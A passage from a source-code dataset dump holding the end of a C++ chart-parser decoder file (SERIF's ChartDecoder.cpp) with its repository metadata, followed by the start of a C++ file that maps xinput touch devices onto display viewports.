0) {\r\n\t\tdepth = std::max(depth, getTreeDepth(iter));\r\n\t\titer = iter->next;\r\n\t}\r\n\treturn depth + 1;\r\n}\r\n\r\n\r\nvoid ChartDecoder::cleanupChart(int length)\r\n{\r\n    for (int i = 0; i < length; i++) {\r\n        for (int j = i; j < length; j++) {\r\n\t\t\tint k = 0;\r\n            for (ChartEntry** p = chart[i][j]; *p; p++, k++) {\r\n\t\t\t\tif (k >= maxEntriesPerCell && i != j) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tdelete *p;\r\n            }\r\n\t\t\tchart[i][j][0] = 0;\r\n        }\r\n    }\r\n}\r\n\r\nvoid ChartDecoder::initPunctuationUpperBound(Symbol* sentence, int length)\r\n{\r\n    punctuationUpperBound[length - 1] = length;\r\n    for (int i = (length - 2); i >= 0; i--) {\r\n        if (LanguageSpecificFunctions::isNoCrossPunctuation(sentence[i + 1]))\r\n        {\r\n            punctuationUpperBound[i] = i + 1;\r\n        } else {\r\n            punctuationUpperBound[i] = punctuationUpperBound[i + 1];\r\n        }\r\n    }\r\n}\r\n\r\nbool ChartDecoder::punctuationCrossing(size_t i, size_t j, size_t length)\r\n{\r\n    size_t l = punctuationUpperBound[i];\r\n    if (l == length) {\r\n        return false;\r\n    }\r\n    if (l >= (j - 1)) {\r\n        return false;\r\n    }\r\n    if ((j == length) ||\r\n        (possiblePunctuationOrConjunction[j] ||\r\n         possiblePunctuationOrConjunction[j - 1]))\r\n    {\r\n        return false;\r\n    }\r\n    return true;\r\n}\r\n\r\nbool ChartDecoder::crossingConstraintViolation(int start, int end, std::vector<Constraint> & constraints)\r\n{\r\n\tBOOST_FOREACH(Constraint constraint, constraints) {\r\n\t\tconst int &left = constraint.left;\r\n\t\tconst int &right = constraint.right;\r\n\t\tif (start < left) {\r\n\t\t\tif ((left < end) && (end <= right))\r\n\t\t\t\treturn true;\r\n\t\t} else if (left < start) {\r\n\t\t\tif ((start <= right) && (right < end - 1))\r\n\t\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nvoid ChartDecoder::replaceWords(ParseNode* node,\r\n\t\t\t\t\t\t\t\t\tint& currentPosition,\r\n\t\t\t\t\t\t\t\t\tSymbol *sentence)\r\n{\r\n\t// EMB 8/6/04: \r\n\t// Often namefinding misses the first word of a sentence being a name. \r\n\t// If the parser finds it as a one-word NPA and _really_ doesn't know anything\r\n\t// about the headword (so, here, we test to make sure it's not even in wordnet), \r\n\t// we ought to change it to an NPP. The mentions stage will take care of turning\r\n\t// it into a name and typing it for us.\r\n\r\n\t//MRF 2/13/05\r\n\t//we don't want to do this in stand alone versions of the the parser, since NPP don't\r\n\t//occur in treebank\r\n\tif (currentPosition == 0 &&\r\n\t\tLanguageSpecificFunctions::isCoreNPLabel(node->label) &&\r\n\t\tnode->label != LanguageSpecificFunctions::getNameLabel() &&\r\n\t\tnode->headNode != 0 &&\r\n\t\tnode->headNode->headNode != 0 &&\r\n\t\tnode->headNode->headNode->headNode == 0 &&\r\n\t\tnode->postmods == 0 &&\r\n\t\tnode->premods == 0 &&\r\n\t\t!vocabularyTable->find(sentence[currentPosition]) &&\r\n\t\tLanguageSpecificFunctions::isTrulyUnknownWord(sentence[currentPosition]) &&\r\n\t\t!LanguageSpecificFunctions::isStandAloneParser())\r\n\t{\r\n\t\tconst Symbol &lcHW = LanguageSpecificFunctions::getSymbolForParseNodeLeaf(sentence[currentPosition]);\r\n\t\tif (!vocabularyTable->find(lcHW)) {\r\n\t\t\tnode->label = LanguageSpecificFunctions::getNameLabel();\r\n\t\t}\r\n\t}\r\n\r\n    if (node->headNode == 0) {\r\n\t\tnode->label = LanguageSpecificFunctions::getSymbolForParseNodeLeaf(sentence[currentPosition++]);\r\n    } else {\t\t\r\n        replaceWordsInPremods(node->premods, currentPosition, sentence);\r\n        replaceWords(node->headNode, currentPosition, sentence);\r\n        replaceWordsInPostmods(node->postmods, currentPosition, sentence);\r\n   }\r\n}\r\n\r\nvoid ChartDecoder::replaceWordsInPremods(ParseNode* premod, \r\n\t\t\t\t\t\t\t\t\t  int& currentPosition,\r\n\t\t\t\t\t\t\t\t\t  Symbol *sentence)\r\n{\r\n    if (premod) {\r\n       replaceWordsInPremods(premod->next, currentPosition, sentence);\r\n       replaceWords(premod, currentPosition, sentence);\r\n    }\r\n}\r\n\r\nvoid ChartDecoder::replaceWordsInPostmods(ParseNode* postmod, \r\n\t\t\t\t\t\t\t\t\t   int& currentPosition,\r\n\t\t\t\t\t\t\t\t\t   Symbol *sentence)\r\n{\r\n    if (postmod) {\r\n       replaceWords(postmod, currentPosition, sentence);\r\n       replaceWordsInPostmods(postmod->next, currentPosition, sentence);\r\n    }\r\n}\r\n\r\nvoid ChartDecoder::postprocessParse(ParseNode* node,\r\n\t\t\t\t\t\t\t\t\tstd::vector<Constraint> & constraints,\r\n\t\t\t\t\t\t\t\t\tbool collapseNPlabels)\r\n{\r\n    if (node->headNode != 0) {\r\n\t\tLanguageSpecificFunctions::modifyParse(node);\r\n\t\tinsertNestedNameNodes(node, constraints);\r\n\t\tif (collapseNPlabels &&\tLanguageSpecificFunctions::isNPtypeLabel(node->label)) {\r\n\t\t\tnode->label = LanguageSpecificFunctions::getNPlabel();\r\n        }\r\n        postprocessPremods(node->premods, constraints, collapseNPlabels);\r\n        postprocessParse(node->headNode, constraints, collapseNPlabels);\r\n        postprocessPostmods(node->postmods, constraints, collapseNPlabels);\r\n   }\r\n}\r\n\r\nvoid ChartDecoder::postprocessPremods(ParseNode* premod,\r\n\t\t\t\t\t\t\t\t\t  std::vector<Constraint> & constraints,\r\n\t\t\t\t\t\t\t\t\t  bool collapseNPlabels)\r\n{\r\n    if (premod) {\r\n       postprocessPremods(premod->next, constraints, collapseNPlabels);\r\n       postprocessParse(premod, constraints, collapseNPlabels);\r\n    }\r\n}\r\n\r\nvoid ChartDecoder::postprocessPostmods(ParseNode* postmod,\r\n\t\t\t\t\t\t\t\t\t   std::vector<Constraint> & constraints,\r\n\t\t\t\t\t\t\t\t\t   bool collapseNPlabels)\r\n{\r\n    if (postmod) {\r\n       postprocessParse(postmod, constraints, collapseNPlabels);\r\n       postprocessPostmods(postmod->next, constraints, collapseNPlabels);\r\n    }\r\n}\r\n\r\nvoid ChartDecoder::insertNestedNameNodes(ParseNode* node, \r\n\t\t\t\t\t\t\t\t\t  std::vector<Constraint> & constraints) \r\n{\t\r\n\tif (node->chart_start_index == -1 || node->chart_end_index == -1) {\r\n\t\tSessionLogger::dbg(\"insertNestedNameNodes\") << node->toDebugString() << \"(chart_start_index = \" << node->chart_start_index << \", chart_end_index = \" << node->chart_end_index << \")\\n\";\r\n\t\tthrow InternalInconsistencyException(\"ChartDecoder::insertNestedNameNodes()\", \"Node's chart_start_index and/or chart_end_index not initialized properly.\");\r\n\t}\r\n\r\n\tif (node->isName && node->label != ParserTags::LIST) {\r\n\t\tBOOST_FOREACH(Constraint constraint, constraints) {\r\n\t\t\tif (constraint.type == ParserTags::NESTED_NAME_CONSTRAINT &&\r\n\t\t\t\tnode->chart_start_index <= constraint.left &&\r\n\t\t\t\tnode->chart_end_index >= constraint.right)\r\n\t\t\t{\r\n\t\t\t\tParseNode* headWord = node->headNode->headNode;\r\n\t\t\t\tif (constraint.right == headWord->chart_end_index) {\r\n\t\t\t\t\t// last token included in nested name \r\n\t\t\t\t\t// create a new node for the nested name\r\n\t\t\t\t\tParseNode* nestedNode = _new ParseNode(LanguageSpecificFunctions::getNameLabel());\r\n\t\t\t\t\tnestedNode->headNode = node->headNode;\r\n\t\t\t\t\tnestedNode->chart_start_index = node->headNode->chart_start_index;\r\n\t\t\t\t\tnestedNode->chart_end_index = node->headNode->chart_end_index;\r\n\t\t\t\t\tnode->headNode = nestedNode;\r\n\t\t\t\t\tif (constraint.left < headWord->chart_start_index) {\r\n\t\t\t\t\t\tParseNode* iterator = node->premods;\r\n\t\t\t\t\t\twhile (iterator != 0 && constraint.left < iterator->chart_start_index) {\r\n\t\t\t\t\t\t\titerator = iterator->next;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif (iterator == 0) {\r\n\t\t\t\t\t\t\t// Bonan: this needs to be fixed\r\n\t\t\t\t\t\t\tcout << \"fail-1\\t\" << node->toDebugString() \r\n\t\t\t\t\t\t\t\t<< \"(node->chart_start_index = \" << node->chart_start_index << \", node->chart_end_index = \" << node->chart_end_index \r\n\t\t\t\t\t\t\t\t<< \", (nestedNode->chart_start_index = \" << nestedNode->chart_start_index << \", nestedNode->chart_end_index = \" << nestedNode->chart_end_index\r\n\t\t\t\t\t\t\t\t<< \", (constraint.left = \" << constraint.left << \", constraint.right = \" << constraint.right << \"\\n\";\r\n\t\t\t\t\t\t\tcontinue;\r\n\r\n\t\t\t\t\t\t\t// throw InternalInconsistencyException(\r\n\t\t\t\t\t\t\t//\t\"ChartDecoder::insertNestedNameNodes()\",\r\n\t\t\t\t\t\t\t//\t\"Nested name is not a child of an existing parse constituent.\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tParseNode* firstNestedToken = iterator;\r\n\t\t\t\t\t\tnestedNode->premods = node->premods;\r\n\t\t\t\t\t\tnestedNode->chart_start_index = firstNestedToken->chart_start_index;\r\n\t\t\t\t\t\tnode->premods = firstNestedToken->next;\r\n\t\t\t\t\t\tfirstNestedToken->next = 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t} else {\r\n\t\t\t\t\t// walk through premods to find last token in the nested name\r\n\t\t\t\t\t// keep track of previous pointer too\r\n\t\t\t\t\tParseNode* prevIterator = node;\r\n\t\t\t\t\tParseNode* iterator =  node->premods;\r\n\t\t\t\t\twhile (iterator != 0 && constraint.right < iterator->headNode->chart_end_index) {\r\n\t\t\t\t\t\tprevIterator = iterator;\r\n\t\t\t\t\t\titerator = iterator->next;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (iterator == 0) {\r\n\t\t\t\t\t\t// Bonan: this needs to be fixed\r\n\t\t\t\t\t\tcout << \"fail-2\\t\" << node->toDebugString() \r\n\t\t\t\t\t\t\t<< \"(node->chart_start_index = \" << node->chart_start_index << \", node->chart_end_index = \" << node->chart_end_index\r\n\t\t\t\t\t\t\t<< \",(constraint.left = \" << constraint.left << \", constraint.right = \" << constraint.right << \"\\n\";\r\n\t\t\t\t\t\tcontinue;\r\n\r\n\t\t\t\t\t\t// throw InternalInconsistencyException(\r\n\t\t\t\t\t\t//\t\"ChartDecoder::insertNestedNameNodes()\",\r\n\t\t\t\t\t\t//\t\"Nested name is not a child of an existing parse constituent.\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\tParseNode* lastNestedToken = iterator;\r\n\t\t\t\t\t// continue walking through premods to find first token in nested name\r\n\t\t\t\t\twhile (iterator != 0 && constraint.left < iterator->headNode->chart_start_index) {\r\n\t\t\t\t\t\titerator = iterator->next;\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (iterator == 0) {\r\n\t\t\t\t\t\t// Bonan: this needs to be fixed\r\n\t\t\t\t\t\tcout << \"fail-3\\t\" << node->toDebugString()\r\n\t\t\t\t\t\t\t<< \"(node->chart_start_index = \" << node->chart_start_index << \", node->chart_end_index = \" << node->chart_end_index\r\n\t\t\t\t\t\t\t<< \", (constraint.left = \" << constraint.left << \", constraint.right = \" << constraint.right << \"\\n\";\r\n\t\t\t\t\t\tcontinue;\r\n\r\n\t\t\t\t\t\t// throw InternalInconsistencyException(\r\n\t\t\t\t\t\t//\t\"ChartDecoder::insertNestedNameNodes()\",\r\n\t\t\t\t\t\t//\t\"Nested name is not a child of an existing parse constituent.\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\tParseNode* firstNestedToken = iterator;\r\n\r\n\t\t\t\t\t// create a new node for the nested name\r\n\t\t\t\t\tParseNode* nestedNode = _new ParseNode(LanguageSpecificFunctions::getNameLabel());\r\n\t\t\t\t\tnestedNode->headNode = lastNestedToken;\r\n\t\t\t\t\tnestedNode->chart_start_index = firstNestedToken->chart_start_index;\r\n\t\t\t\t\tnestedNode->chart_end_index = lastNestedToken->chart_end_index;\r\n\t\t\t\t\tif (firstNestedToken != lastNestedToken) {\r\n\t\t\t\t\t\tnestedNode->premods = lastNestedToken->next;\r\n\t\t\t\t\t\tlastNestedToken->next = 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tnestedNode->next = firstNestedToken->next;\r\n\t\t\t\t\tfirstNestedToken->next = 0;\r\n\r\n\t\t\t\t\t// check whether we're replacing node->premod\r\n\t\t\t\t\tif (prevIterator == node) {\r\n\t\t\t\t\t\tnode->premods = nestedNode;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tprevIterator->next = nestedNode;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nbool ChartDecoder::chartHasAdverbPOS(int nindex)\r\n{\r\n\tfor (int i=0; chart[nindex][nindex][i]; i++){\r\n\t\t\tconst Symbol &pos = chart[nindex][nindex][i]->headTag;\r\n\t\t\tif (LanguageSpecificFunctions::isAdverbPOSLabel(pos)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t}\t\r\n\treturn false;\r\n}\r\nbool ChartDecoder::chartHasOnlyAdverbPOS(int nindex)\r\n{\r\n\tbool hasAdv = false;\r\n\tfor (int i=0; chart[nindex][nindex][i]; i++){\r\n\t\t\tconst Symbol &pos = chart[nindex][nindex][i]->headTag;\r\n\t\t\tif (LanguageSpecificFunctions::isAdverbPOSLabel(pos))\r\n\t\t\t\thasAdv = true;\r\n\t\t\telse return false;\r\n\t}\t\r\n\treturn hasAdv;\r\n}\r\nbool ChartDecoder::chartHasVerbPOS(int nindex)\r\n{\r\n\tfor (int i=0; chart[nindex][nindex][i]; i++){\r\n\t\tconst Symbol &pos = chart[nindex][nindex][i]->headTag;\r\n\t\tif (LanguageSpecificFunctions::isVerbPOSLabel(pos)){\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\nbool ChartDecoder::chartHasPronounPOS(int nindex)\r\n{\r\n\tfor (int i=0; chart[nindex][nindex][i]; i++){\r\n\t\tconst Symbol &pos = chart[nindex][nindex][i]->headTag;\r\n\t\tif (LanguageSpecificFunctions::isPronounPOSLabel(pos)){\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\t\r\n\treturn false;\r\n}\r\nbool ChartDecoder::chartHasGeneralPrepositionPOS(int nindex)\r\n{\r\n\tfor (int i=0; chart[nindex][nindex][i]; i++){\r\n\t\t\tconst Symbol &pos = chart[nindex][nindex][i]->headTag;\r\n\t\t\tif (LanguageSpecificFunctions::isPreplikePOSLabel(pos)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t}\t\r\n\treturn false;\r\n}\r\nbool ChartDecoder::chartHasOnlyGeneralPrepositionPOS(int nindex)\r\n{\r\n\tbool hasPP = false;\r\n\tfor (int i=0; chart[nindex][nindex][i]; i++){\r\n\t\t\tconst Symbol &pos = chart[nindex][nindex][i]->headTag;\r\n\t\t\tif (LanguageSpecificFunctions::isPreplikePOSLabel(pos)){\r\n\t\t\t\thasPP = true;;\r\n\t\t\t}else {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t}\t\r\n\treturn hasPP;\r\n}\r\nbool ChartDecoder::chartHasParticlePOS(int nindex)\r\n{\r\n\tfor (int i=0; chart[nindex][nindex][i]; i++){\r\n\t\t\tconst Symbol &pos = chart[nindex][nindex][i]->headTag;\r\n\t\t\tif (LanguageSpecificFunctions::isParticlePOSLabel(pos)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t}\t\r\n\treturn false;\r\n}\r\nvoid ChartDecoder::startClock() {\r\n\t_startTime = clock();\r\n}\r\n\r\nbool ChartDecoder::timedOut(Symbol *sentence, int length) {\r\n\tclock_t diff = clock() - _startTime;\r\n\tif (clock() - _startTime > MAX_CLOCKS) {\r\n\t\tstd::wstringstream errMsg;\r\n\t\terrMsg << \"The syntactic parser timed out, and a flat parse is being returned. \"\r\n\t\t\t<< \"The analysis for this sentence will contain named entities but not entity descriptions \"\r\n\t\t\t<< \"(e.g. 'the president') or most pronouns. Most relations and events will also be omitted. \"\r\n\t\t\t<< \"This behavior typically occurs when a sentence is either very long or contains an unusual arrangement \"\r\n\t\t\t<< \"of tokens (e.g. excessive punctuation), causing the parser to perform particularly inefficiently. \"\r\n\t\t\t<< \"The (tokenized) text of the timed-out sentence was:\";\r\n\t\tfor (int i = 0; i < length; i++) {\r\n\t\t\terrMsg << L\" \" << sentence[i];\r\n\t\t}\r\n\t\tSessionLogger::warn_user(\"parser_timeout\") << errMsg.str();\r\n\t\treturn true;\r\n\t} else return false;\r\n}\r\n\r\nParseNode *ChartDecoder::getDefaultParse(Symbol* sentence, int length, std::vector<Constraint> & constraints) {\r\n\tif (length == 1) {\r\n\t\tBOOST_FOREACH(Constraint constraint, constraints) {\r\n\t\t\tconst Symbol &type = constraint.type;\r\n\t\t\tif (type == ParserTags::HEAD_CONSTRAINT) \r\n\t\t\t\tcontinue;\r\n\r\n\t\t\t// the constraint is a name constraint\r\n\t\t\tif (constraint.left != 0 || constraint.right != 0) \r\n\t\t\t\tcontinue;\r\n\r\n\t\t\t// the one word in the sentence is a name\r\n\t\t\tParseNode* tree = _new ParseNode(LanguageSpecificFunctions::getNameLabel(), constraint.left, constraint.right);\r\n\t\t\ttree->headNode = _new ParseNode(LanguageSpecificFunctions::getProperNounLabel(), constraint.left, constraint.right);\r\n\t\t\ttree->headNode->headNode = _new ParseNode(sentence[0], constraint.left, constraint.right);\r\n\t\t\treturn tree;\r\n\t\t}\r\n\t}\r\n\t\r\n\tParseNode* tree = _new ParseNode(ParserTags::FRAGMENTS, 0, length-1);\r\n\tint count = 0;\r\n\t\r\n\t// set tree head\r\n\twhile (tree->headNode == 0 && count < length) {\r\n\t\ttree->headNode = getBestFragment(0,count);\r\n\t\tcount++;\r\n\t}\r\n\tif (tree->headNode == 0){\r\n\t\tdelete tree;\r\n\t\treturn getCompletelyDefaultParse(sentence, length);\r\n\t}\r\n\tParseNode* placeholder = tree;\r\n\tint start = count;\r\n\tcount = 0;\r\n\r\n\t// set tree postmods\r\n\tif (start < length) {\r\n\t\twhile (tree->postmods == 0 && start + count < length) {\r\n\t\t\ttree->postmods = getBestFragment(start,start + count);\r\n\t\t\tcount++;\r\n\t\t}\r\n\t\tplaceholder = tree->postmods;\r\n\t} else return tree;\r\n\tif (tree->postmods == 0){\r\n\t\tdelete tree;\r\n\t\treturn getCompletelyDefaultParse(sentence, length);\r\n\t}\r\n\r\n\t// do the rest\r\n\tstart = start + count;\r\n\tfor (int j = start; j < length; ) {\r\n\t\tcount = 0;\r\n\t\twhile (placeholder->next == 0) {\r\n\r\n\t\t\t// should never happen, if all is sane\r\n\t\t\t// (one thing that could cause insanity is hyphen constraints, however...)\r\n\t\t\t// BUG FIX EMB 1/31/06: this needs to be a >=\r\n\t\t\tif (j + count >= length) {\r\n\t\t\t\tdelete tree;\r\n\t\t\t\treturn getCompletelyDefaultParse(sentence, length);\r\n\t\t\t}\r\n\r\n\t\t\tplaceholder->next = getBestFragment(j, j + count);\r\n\t\t\tcount++;\r\n\t\t}\r\n\t\tj = j + count;\r\n\t\tplaceholder = placeholder->next;\r\n\t}\r\n\treturn tree;\r\n}\r\n\r\nParseNode* ChartDecoder::getBestFragment(int start,\r\n\t\t\t\t\t\t\t\t\t     int end)\r\n{\r\n    if (chart[start][end][0] != 0) {\r\n\t\tint highestScoring = 0;\r\n\t\tfor (int i = 1; chart[start][end][i] != 0; i++) {\r\n\t\t\tif (\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n\t\t\t    chart[start][end][i]->rankingScore >\r\n\t\t\t\tchart[start][end][highestScoring]->rankingScore\r\n#else\r\n\t\t\t    __fcmp (chart[start][end][i]->rankingScore,\r\n\t\t\t\t    chart[start][end][highestScoring]->rankingScore) > 0\r\n#endif\r\n\t\t\t    )\r\n\t\t\t{\r\n\t\t\t\thighestScoring = i;\r\n\t\t\t}\r\n\t\t}\r\n\t\tParseNode* tree = chart[start][end][highestScoring]->toParseNode();\r\n\r\n\t\treturn tree;\r\n\t}\r\n\t\r\n\treturn static_cast<ParseNode*>(0);\r\n}\r\n\r\nParseNode* ChartDecoder::getCompletelyDefaultParse(Symbol* sentence, int length) {\r\n\tParseNode* tree = _new ParseNode(ParserTags::FRAGMENTS, 0, length-1);\r\n\ttree->headNode = _new ParseNode(ParserTags::FRAGMENTS, 0, length-1);\r\n\ttree->headNode->headNode = _new ParseNode(sentence[0], 0, 0);\r\n\tif (length > 1) {\r\n\t\ttree->postmods = _new ParseNode(ParserTags::FRAGMENTS, 1, 1);\r\n\t\ttree->postmods->headNode = _new ParseNode(sentence[1], 1, 1);\r\n\t\tParseNode *placeholder = tree->postmods;\r\n\t\tfor (int j = 2; j < length; j++) {\r\n\t\t\tplaceholder->next = _new ParseNode(ParserTags::FRAGMENTS, j, j);\r\n\t\t\tplaceholder->next->headNode = _new ParseNode(sentence[j], j, j);\r\n\t\t\tplaceholder = placeholder->next;\r\n\t\t}\r\n\t}\r\n\treturn tree;\r\n}\r\n\r\n//added as confidence measure\r\n\r\nfloat ChartDecoder::getProbabilityOfWords(Symbol* sentence, int length)\r\n{\r\n\tfloat total_score = 0;\r\n\tfor (int i = 0; i < length; i++) {\r\n\t\tfloat score = wordProbTable->lookup(&sentence[i]);\r\n\t\tif (score == 0) {\r\n\t\t\tSymbol word = wordFeatures->features(sentence[i], i == 0);\r\n\t\t\tscore = wordProbTable->lookup(&word);\r\n\t\t\tif (score == 0) {\r\n\t\t\t\tSymbol word = wordFeatures->reducedFeatures(sentence[i], i == 0);\r\n\t\t\t\tscore = wordProbTable->lookup(&word);\r\n\t\t\t}\r\n\t\t}\r\n\t\ttotal_score += score;\r\n    }\r\n\r\n\treturn total_score;\r\n\r\n}\r\n\r\nvoid ChartDecoder::writeCaches() {\r\n  const char* case_tag = decoderTypeString();\r\n  headProbs->writeCache(case_tag);\r\n  premodProbs->writeCache(case_tag);\r\n  postmodProbs->writeCache(case_tag);\r\n  leftLexicalProbs->writeCache(case_tag);\r\n  rightLexicalProbs->writeCache(case_tag);\r\n}\r\n\r\nvoid ChartDecoder::readCaches() {\r\n  const char* case_tag = decoderTypeString();\r\n  headProbs->readCache(case_tag);\r\n  premodProbs->readCache(case_tag);\r\n  postmodProbs->readCache(case_tag);\r\n  leftLexicalProbs->readCache(case_tag);\r\n  rightLexicalProbs->readCache(case_tag);\r\n}\r\n\r\nvoid ChartDecoder::cleanup() {\r\n\theadProbs->clearCache();\r\n\tpremodProbs->clearCache();\r\n\tpostmodProbs->clearCache();\r\n\tleftLexicalProbs->clearCache();\r\n\trightLexicalProbs->clearCache();\r\n\tfor (int i=0; i<maxEntriesPerCell; ++i) \r\n\t\ttheory_sc_strings[i].clear(); // make sure memory is freed.\r\n\tsimpleCache.clear();\r\n#if !defined(_WIN32) && !defined(__APPLE_CC__)\r\n\tlruCache.clear();\r\n#endif\r\n}\r\n\r\nconst char* ChartDecoder::decoderTypeString() {\r\n  switch (DECODER_TYPE) {\r\n    case UPPER: return \"upper\";\r\n    case LOWER: return \"lower\";\r\n    default: return \"mixed\";\r\n  }\r\n}\r\n                                                                                                                      \r\n", "meta": {"hexsha": "a54bd398fe6c05b996342abc01bb4ec65659234c", "size": 90186, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/Generic/parse/ChartDecoder.cpp", "max_stars_repo_name": "BBN-E/serif", "max_stars_repo_head_hexsha": "1e2662d82fb1c377ec3c79355a5a9b0644606cb4", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2022-03-24T19:57:00.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-24T19:57:00.000Z", "max_issues_repo_path": "src/Generic/parse/ChartDecoder.cpp", "max_issues_repo_name": "BBN-E/serif", "max_issues_repo_head_hexsha": "1e2662d82fb1c377ec3c79355a5a9b0644606cb4", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/Generic/parse/ChartDecoder.cpp", "max_forks_repo_name": "BBN-E/serif", "max_forks_repo_head_hexsha": "1e2662d82fb1c377ec3c79355a5a9b0644606cb4", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.1602339181, "max_line_length": 186, "alphanum_fraction": 0.6524959528, "num_tokens": 23804, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.25091278688527247, "lm_q1q2_score": 0.12839623938179145}}
{"text": "#include <string>\n#include <boost/algorithm/string.hpp>\n#include <boost/regex.hpp>\n#include <stdexcept>\n#include <new>\n#include <vector>\n#include <stdlib.h>\n#include <boost/lexical_cast.hpp>\n#include <boost/numeric/ublas/matrix.hpp>\n#include <boost/numeric/ublas/io.hpp>\n\n#include \"viewport_mapper.h\"\n#include \"util.h\"\n#include <lg_msg_defs/WindowGeometry.h>\n\nusing lg_msg_defs::WindowGeometry;\nusing lg_msg_defs::WindowGeometryPtr;\n\nusing namespace ViewportMapperTypes;\n\ntypedef WindowGeometry::_width_type WGWT;\ntypedef WindowGeometry::_height_type WGHT;\ntypedef WindowGeometry::_x_type WGXT;\ntypedef WindowGeometry::_y_type WGYT;\n\nViewportMapperStringError::ViewportMapperStringError(const char* msg): msg_(msg) {}\nViewportMapperStringError::ViewportMapperStringError(const std::string& msg): msg_(msg) {}\nViewportMapperStringError::~ViewportMapperStringError() throw() {}\nconst char* ViewportMapperStringError::what() const throw() {\n  return msg_.c_str();\n}\n\nViewportMapperExecError::ViewportMapperExecError(const char* msg): msg_(msg) {}\nViewportMapperExecError::ViewportMapperExecError(const std::string& msg): msg_(msg) {}\nViewportMapperExecError::~ViewportMapperExecError() throw() {}\nconst char* ViewportMapperExecError::what() const throw() {\n  return msg_.c_str();\n}\n\n/**\n * \\brief Constructor\n * \\param device_name Name of the xinput device.\n * \\param viewport_geometry Xorg geometry string for target viewport.\n */\nViewportMapper::ViewportMapper(const std::string& device_name, const std::string& viewport_geometry, const bool should_flip_axis, const int x_flip, const int y_flip):\n  device_name_(device_name), should_flip_axis_(should_flip_axis), x_flip_(x_flip), y_flip_(y_flip)\n{\n  viewport_geometry_ = GeometryFromString(viewport_geometry);\n}\n\n/**\n * \\brief Map xinput events for this device.\n *\n * May throw ViewportMapperStringError, ViewportMapperExecError.\n */\nvoid ViewportMapper::Map() const {\n  WindowGeometryPtr root_geometry = GetRootGeometry();\n\n  std::ostringstream cmd;\n  std::ostringstream cmd2;\n  cmd << \"/usr/bin/xinput set-prop '\" << device_name_ << \"' 'Coordinate Transformation Matrix'\";\n  cmd2 << \"/usr/bin/xinput set-prop '\" << device_name_ << \"' 'Evdev Axis Inversion' \" << x_flip_ << \" \" << y_flip_;\n\n  TransformMatrixPtr m_ptr = TransformGeometry(viewport_geometry_, root_geometry);\n  TransformMatrix& m = *m_ptr;\n\n  for (std::size_t i = 0; i < m.size1(); ++i)\n    for (std::size_t j = 0; j < m.size2(); ++j)\n      cmd << \" \" << (float)m(i, j);\n\n  int stat = system(cmd.str().c_str());\n  if (stat != 0) {\n    throw ViewportMapperExecError(\"xinput command to transform matrix returned non-zero\");\n  }\n  if (should_flip_axis_) {\n    int stat2 = system(cmd2.str().c_str());\n    if (stat2 != 0) {\n      throw ViewportMapperExecError(\"xinput command to invert axis returned non-zero\");\n    }\n  }\n}\n\n/**\n * \\brief Calculates xinput transform matrix from one window onto another.\n *\n * This is used to transform touch events onto a viewport,\n *\n * See https://wiki.archlinux.org/index.php/Calibrating_Touchscreen#Calculate_the_Coordinate_Transformation_Matrix\n *\n * \\param a First window geometry.\n * \\param b Second window geometry (typically the root).\n * \\return Transform matrix for xinput.\n */\nTransformMatrixPtr ViewportMapper::TransformGeometry(WindowGeometryPtr a, WindowGeometryPtr b) {\n  TransformMatrixPtr m_ptr(new TransformMatrix(3, 3));\n  TransformMatrix& m = *m_ptr;\n\n  for (std::size_t i = 0; i < m.size1(); ++i)\n    for (std::size_t j = 0; j < m.size2(); ++j)\n      m(i, j) = 0.0;\n\n  m(0, 0) = (float)a->width / (float)b->width;\n  m(0, 2) = (float)a->x / (float)b->width;\n  m(1, 1) = (float)a->height / (float)b->height;\n  m(1, 2) = (float)a->y / (float)b->height;\n  m(2, 2) = 1.0;\n\n  return m_ptr;\n}\n\n/**\n * \\brief Convert a geometry string into numeric window geometry.\n *\n * Throws ViewportMapperStringError if the geometry string is invalid.\n *\n * \\param s Xorg window geometry string.\n * \\return Window geometry.\n */\nWindowGeometryPtr ViewportMapper::GeometryFromString(const std::string& source) {\n  const std::string s = boost::trim_copy(source);\n  std::size_t hwsep = s.find(\"x\", 0);\n  if (hwsep == std::string::npos) {\n    throw ViewportMapperStringError(\"Geometry string is missing x\");\n  }\n\n  std::size_t xi = s.find_first_of(\"+-\", hwsep);\n  if (xi == std::string::npos) {\n    throw ViewportMapperStringError(\"Geometry string is missing first +-\");\n  }\n\n  std::size_t yi = s.find_first_of(\"+-\", xi+1);\n  if (yi == std::string::npos) {\n    throw ViewportMapperStringError(\"Geometry string is missing second +-\");\n  }\n\n  WindowGeometryPtr geometry(new WindowGeometry);\n\n  try {\n    geometry->width = boost::lexical_cast<WGWT>(\n      s.substr(0, hwsep)\n    );\n    geometry->height = 